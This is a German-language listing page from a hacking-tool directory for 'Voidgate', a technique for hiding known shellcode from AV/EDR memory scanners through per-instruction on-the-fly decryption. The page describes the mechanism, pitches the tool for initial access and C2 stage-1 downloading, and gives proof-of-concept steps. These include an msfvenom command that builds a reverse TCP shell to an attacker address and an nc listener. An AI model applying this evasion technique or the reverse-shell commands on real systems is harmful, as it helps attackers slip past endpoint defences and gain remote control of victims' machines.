Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Voidgate — Eine Technik, die verwendet werden kann, um AV/EDR-Speicherscanner zu umgehen. Sie kann eingesetzt werden, um bekannte und erkannte Shellcodes (wie msfvenom) zu verbergen, indem einzelne verschlüsselte Assembler-Anweisungen im laufenden Betrieb entschlüsselt werden, wodurch Speicherscanner für diese spezifische Speicherseite nutzlos werden. | Kitploit
Tools/GitHubGitHub/vxcrypt0r/voidgate
IDS/IPS-UmgehungShellcodeDebuggerRed TeamingPayload-EntwicklungAdversarial-Angriff
GitHubvxcrypt0r/voidgate

Voidgate

Repository anzeigen
599844vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Eine Technik, die verwendet werden kann, um AV/EDR-Speicherscanner zu umgehen. Sie kann eingesetzt werden, um bekannte und erkannte Shellcodes (wie msfvenom) zu verbergen, indem einzelne verschlüsselte Assembler-Anweisungen im laufenden Betrieb entschlüsselt werden, wodurch Speicherscanner für diese spezifische Speicherseite nutzlos werden.

Teilen

VOIDGATE

Beschreibung:

Eine Technik, die verwendet werden kann, um AV/EDR-Speicherscanner zu umgehen. Damit lassen sich bekannte und erkannte Shellcodes (wie z. B. msfvenom) verstecken, indem eine On-the-Fly-Entschlüsselung einzelner verschlüsselter Assembly-Anweisungen durchgeführt wird, wodurch Speicherscanner für diese bestimmte Speicherseite nutzlos werden.


Funktionsweise:

Diese Technik erstellt einen PAGE_EXECUTE_READWRITE-Speicherbereich, in dem die verschlüsselten Assembly-Anweisungen gespeichert werden. Der Shellcode wird mit etwas Padding umgeben. Das Programm setzt einen Hardware-Breakpoint (HWBP) auf den Entrypoint des Shellcodes.

Als Nächstes installiert das Programm einen Vectored Exception Handler (VEH). Dieser VEH fungiert im Grunde wie ein Debugger, der den Code im Einzelschritt durchläuft, das Instruction-Pointer-Register (RIP) bei jeder vom VEH empfangenen -Ausnahme liest und die nächsten 16 Bytes (maximale x64-Assembly-Anweisungslänge) entschlüsselt, auf die der RIP zeigt. Der VEH verschlüsselt außerdem die zuvor entschlüsselte Anweisung wieder, sodass der Rest des Shellcodes – mit Ausnahme der einzelnen aktuell ausgeführten Assembly-Anweisung – immer verschlüsselt bleibt. Danach wird die Ausführung mit dem im Eflags-Register fortgesetzt. Dadurch wird sichergestellt, dass die nächste Assembly-Anweisung ebenfalls eine Breakpoint-Ausnahme auslöst, die der VEH behandeln kann.

SINGLE STEP
TRAP FLAG

Nach der Installation des VEH wird die Ausführung des Hauptthreads auf den Payload-Entrypoint umgeleitet. Wenn der HWBP am Entrypoint ausgelöst wird, stoppt der VEH bei jeder ausgeführten Assembly-Anweisung, entschlüsselt die nächste Assembly-Anweisung und verschlüsselt die zuvor entschlüsselte Anweisung, die als globale Variable gespeichert ist.

Dadurch wird im Grunde immer nur eine einzelne Assembly-Anweisung entschlüsselt, während der Rest des Payloads verschlüsselt bleibt.


Einschränkungen:

HINWEIS: Diese Technik ist ideal, um mit einem einfachen Shellcode wie msfvenom oder benutzerdefinierten Reverse-Shells einen ersten Zugang zu erhalten. Sie kann auch als anfänglicher Stage-1-Payload verwendet werden, der den Rest des Payloads vom C2-Server herunterlädt.

HINWEIS: Diese Technik ist nicht mit allen Payloads kompatibel (z. B. mit Reflective Loadern). Nachfolgend finden Sie eine Liste der aktuellen Einschränkungen:

  • 1.) Da der VEH für JEDE ASSEMBLY-ANWEISUNG ausgelöst wird, die im Shellcode ausgeführt wird, wird die Ausführungsgeschwindigkeit des Shellcodes drastisch verlangsamt. Für jede Assembly-Anweisung, die die CPU ausführt, führt der VEH mindestens 300 zusätzliche ASM-Anweisungen aus, um die Entschlüsselung, Verschlüsselung und Wiederherstellung der Ausführung des Hauptthreads durchzuführen. Wenn der jeweilige Shellcode eher auf geringe Größe als auf Leistung optimiert ist (wie msfvenom), ist die Payload-Ausführung langsamer. Es kann über 15 Sekunden dauern (je nach CPU), um einen MSFVENOM auszuführen. Dies liegt daran, dass der von msfvenom verwendete Shellcode Leistung zugunsten einer kleineren Payload-Größe opfert.
  • 2.) Wenn der Shellcode NtCreateThread oder einen seiner Wrapper in Kernelbase.dll mit dem Entrypoint innerhalb des Shellcodes aufruft, wird der Payload nicht funktionieren, da der VEH für diese Thread-Ausführung nicht ausgelöst wird, da kein HWBP am Entrypoint des neu erstellten Threads installiert ist. (In Arbeit - wird in diesem Repo weiter umgesetzt)
  • 3.) Wenn der Shellcode Werte/Variablen in sich selbst gespeichert hat (z. B. den Rohstring "powershell.exe", der über einen Offset in einem Aufruf der WinExec-WINAPI referenziert wird) oder eine Zahl an einem Offset gespeichert ist, und der Shellcode später versucht, diese irgendwo zu laden oder zu referenzieren, wird das Programm nicht funktionieren, da die betreffende Variable oder der String verschlüsselt wird und der VEH diese nicht entschlüsselt. Wenn der Shellcode solche Argumente über Assembly-Anweisungen auf den Stack legt (push 0x4141414141414141, um "AAAAAAAA" auf den Stack zu legen, um es in einem Funktionsaufruf zu verwenden), funktioniert diese Technik. (In Arbeit - wird in diesem Repo weiter umgesetzt)

Verwendung:

So reproduzieren Sie den POC:

  • 1.) Erstellen Sie Ihren msfvenom-Payload:
root@kitploit:~
 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
  • 2.) Verwenden Sie XorEncryptPayload.exe, um den Payload per XOR zu verschlüsseln
root@kitploit:~
./XorEncryptPayload.exe C:\Path\to\shell.asm
  • 3.) Aktualisieren Sie die Variable, die den Shellcode in der main.cpp des Voidgate-Projekts enthält
  • 4.) Stellen Sie sicher, dass der XOR-Schlüssel mit dem Verschlüsselungsprogramm und dem Voidgate-Projekt übereinstimmt
  • 5.) Stellen Sie sicher, dass Ihr Listener auf dem Angriffsrechner wartet:
root@kitploit:~
nc -nvlp 443
  • 6.) Führen Sie Voidgate.exe aus

Demo:


Haftungsausschluss

Dieses Repository dient akademischen Zwecken. Die Verwendung dieser Software liegt in Ihrer eigenen Verantwortung.

Tool herunterladen